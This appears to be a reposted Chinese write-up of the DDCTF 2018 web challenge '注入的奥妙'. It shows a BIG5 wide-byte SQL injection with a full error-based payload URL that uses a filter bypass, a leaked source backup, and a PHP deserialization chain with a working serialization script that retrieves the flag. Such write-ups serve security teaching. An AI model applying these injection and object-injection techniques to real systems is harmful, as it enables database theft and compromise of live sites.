内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

2018 DDCTF web注入的奥妙writeup

2018-06-05 15:34 出处:清屏网 人气: 评论(0

注入的奥妙

在网页的源码里发现了一处注释

打开后发现是 BIG5 编码表,所以推测是 宽字节 注入。

因为页面的属性是 UTF-8

所以推测后端应该是做了类似这个: iconv('utf-8','BIG5',$_GET['id']) 的转换。又因为 ' 会被转义,变成 \' ,所以我们考虑找一个 BIG5 编码后最后一位是 5C 的字符,这样查询时就变成 \\'\ 的作用取消掉。然后我们可以在字符查询网站找一下, 传送门

这是随便找的一个,当然,还有很多个符合条件的字。

然后成功拿到 POC

而且还是 报错注入 ,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:

http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- +

具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。

database  --->  sqli

table --->   message
                id
                name
                contents

            route_rules
                id
                pattern
                    get*/:u/well/getmessage/:s
                    get*/:u/justtry/self/:s
                    post*/:u/justtry/try
                    static/bootstrap/css/backup.css
                action
                    Well#getmessage
                    JustTry#self
                    JustTry#try
                    static/bootstrap/css/backup.zip
                rulepass
                    cd4229e671a8830debfcbb049a23399c
                    5ed16f9c7c27cb846eaf15c19fe40093
                    3228ad498d5a20d1d22d6a4a15fed4d2

很明显有一个 备份文件 ,又是源码泄露。下载下来慢慢审计。

首先这是php的mvc设计模式,由 Router.php 负责分发,然后在 Justtry 类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西: 序列化与反序列化 ,所以一个清晰地念头就出来了。

<?php
class Justtry extends Base
{
    private $white = array('test', 'well','base','justtry');
    public $flag;
    public function __construct()
    {
        parent::__construct();
    }

    public function self($a='')
    {
        if (!in_array(strtolower($a), $this->white)) {
            exit('类不存在');
        }

        $res=$this->ref->getclassall($a);

        if (isset($res)) {
            echo $res;
        }
    }

    public function try($serialize)
    {
        unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
    }

    public function send()
    { //省略
    }
}

我们可以发现允许序列化的类只有: Flag、SQL、Test ,所以我们重点关注一下这三个类,寻找获取 flag 的条件。

// Test.php
<?php
class Test
{
    public $user_uuid;
    public $fl;

    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }

    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
    }

    public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
    { // 省略
    }

    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        // 需要知道id
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}

可以看到 Test 类的 __destruct() 调用了 getflag() ,所以推测这是我们序列化的 入口 。而它里面调用的 get($user) 方法是属于 Flag 类的。

// Flag.php
<?php
class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
    public function get($user)
    {

        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}

截取 SQL 类的 FlagGet() 方法:

<?php
public function FlagGet($user)
    {
        $this->dbc = new FLDbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];

        $sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);

            return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }

到这,我们可以初步确定 Test 类中的 $fl 属性的值为 Flag 类,但 $user_uuid 的值我们还不能确定,所以,我们来找找这个值。

UUID.php 里我们可以发现关于 uuid 的定义,它的形式如下:

看到上面的形式然后再看看我们的url里面的 4eaee5db-2304-4d6d-aa9c-962051d99a41 ,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:

<?php
namespace Index\Helper;
class SQL
{
    public $dbc;
    public $pdo;
    public function __construct()
    {

    }
}

class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
}

class Test
{
    public $user_uuid;
    public $fl;

    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }

}
$a = new Test;
$a->fl = new Flag;
$a->user_uuid = '4eaee5db-2304-4d6d-aa9c-962051d99a41';
$b = serialize($a);
echo $b;
?>

注意:一定不要忘记 namespace Index\Helper ,不然服务器序列化失败。

我们将得到的序列化结果先进行 url encode 一下,然后再提交。

最后flag: DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}


分享给小伙伴们:
本文标签: writeupDDCTF

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号